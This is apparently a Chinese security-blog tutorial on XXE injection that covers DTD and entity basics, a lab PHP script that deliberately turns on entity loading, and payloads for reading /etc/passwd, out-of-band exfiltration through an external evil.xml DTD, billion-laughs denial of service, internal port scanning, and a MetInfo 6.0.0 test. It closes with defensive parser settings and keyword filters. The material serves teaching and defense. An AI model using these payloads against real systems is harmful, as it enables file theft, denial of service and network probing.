XXE漏洞分析
本文系pwn2web原创,转载请说明出处
XXE 漏洞,全名为XML External Entity Injection,由于程序在解析输入的XML数据时,解析了攻击者精心构造的外部实体。
一 预备知识
0x01 XML类型文件结构
XML设计用来传送及携带数据信息,不用来表现或展示数据,HTML则用来表现数据,所以XML用途的焦点是它说明数据是什么,以及携带数据信息。
XML定义结构、存储信息、传送信息。主要格式如下:
<!--XML申明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
下例为小张发送给大元的便条,存储为XML。
<?xml version="1.0"?> <小纸条> <收件人>大元</收件人> <發件人>小張</發件人> <主題>問候</主題> <具體內容>早啊,飯吃了沒? </具體內容> </小纸条>
每个XML文档都由XML序言开始,在前面的代码中的第一行就是XML序言,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器这个文件应该按照XML规则进行解析。
但是,根元素到底叫<小纸条>还是<小便条>,则是由文档类型定义(DTD)或XML纲要(XML Schema)定义的。如果DTD规定根元素必须叫<小便条>,那么若写作<小纸条>就不符合要求。这种不符合DTD或XML纲要的要求的XML文档,被称作不合法的XML,反之则是合法的XML。
XML文件的第二行并不一定要包含文档元素;如果有注释或者其他内容,文档元素可以迟些出现。
DTD文档关键字:
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
0x02 文档类型定义(DTD)与实体
DTD可以分为内部定义和外部引用。
内部:<!DOCTYPE 根元素 [元素声明]>
外部:<!DOCTYPE 根元素 SYSTEM "文件名">
实体主要分为以下几种:
命名实体:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]> <value>&xxe;</value>
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI">
字符实体
示例:
参数实体&外部实体
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
命名实体&外部实体&参数实体
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
其中evil.xml文件内容为:
<!ENTITY %all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send
0x03 外部实体
XXE漏洞主要利用了DTD引用外部实体导致的漏洞,我们总结一下URL中能写哪些外部实体:
二 XXE漏洞
0x01 漏洞探测
首先检测xml是否被解析,通过在本地创建xml并输入以下内容,双击点开查看是否能成功显示出来name 的内容
检测是否支持外部实体解析,创建xml文件远程引用index.php文件,双击打开可以看到文件回显显示在上面
访问服务器日志发现确实引用了index.php文件
0x02 漏洞应用
xxe利用主要有:
- 任意文件读取
- 内网信息探测(包括端口和相关web指纹识别)
- DOS攻击
- 远程命名执行
0x03 基础实验
实验环境:winxp虚拟机
VMWARE 15.5 PRO
实验工具:phpstudy2016
实验测试脚本:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
注意,这里第一行开启了实体引用的功能,网上很多博客的脚本没有这一行,导致脚本复现不成功
实验一 任意文件读取
我们编写脚本读取我们创建1.txt文件,该文件内容为文字“123”。
脚本如下:
实验二 DOS攻击
这里只附上示例poc
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" ]> <lolz>&lol9;</lolz>
这个poc是著名的“billion laugh”攻击,该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。
实验三 探测内网信息
这里主要介绍端口扫描,其他的可参考https://www.freebuf.com/articles/web/177979.html
脚本:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>
0x04 XXE漏洞实战
1、BWAPP测试
这里使用BWAPP虚拟机来进行实战测试:大家可以从 https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download 下载到该虚拟机,虚拟机导入后使用NAT转换,查看IP地址,本机访问
点击Any bugs?进行抓包,发送到Repeater
由Content-type得知,就是将接收到的XML文件post给xxe-2.php
这里直接用payload读取就好:
或者进行内网探测:
首先探测开放的80端口,返回信息如下
再探测未开放的79端口:
报错信息不一样。
2、选取Metinfo6.0.0进行XXE漏洞实战攻击测试
米拓企业建站系统主要用于搭建企业网站,采用PHP+Mysql架构,全站内置了SEO搜索引擎优化机制,支持用户自定义界面语言(全球各种语言),支持可视化傻瓜式操作、拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理)。
下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
将解压后的目录放在phpstudy 的WWW目录下,访问安装即可,安装好如下图:
按照漏洞的说明,问题发生在漏洞文件app/system/pay/web/pay.class.php
未禁止外部实体加载,测试是否存在外部实体引用,输入
<!DOCTYPE note[ <!ENTITY quan SYSTEM "http://http://192.168.1.126/1.txt"> ]> <data>&quan;</data>
这里192.168.1.126是另一个虚拟机开启的web服务,并在根目录下放置了一个1.txt文件,我们利用burp访问并设置payload:
我们去打开192.168.1.126网站的服务器访问日志看看是否访问到了:
192.168.1.134是攻击者主机,这就意味着成功的引用了外部实体
三 漏洞防御
使用相应开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC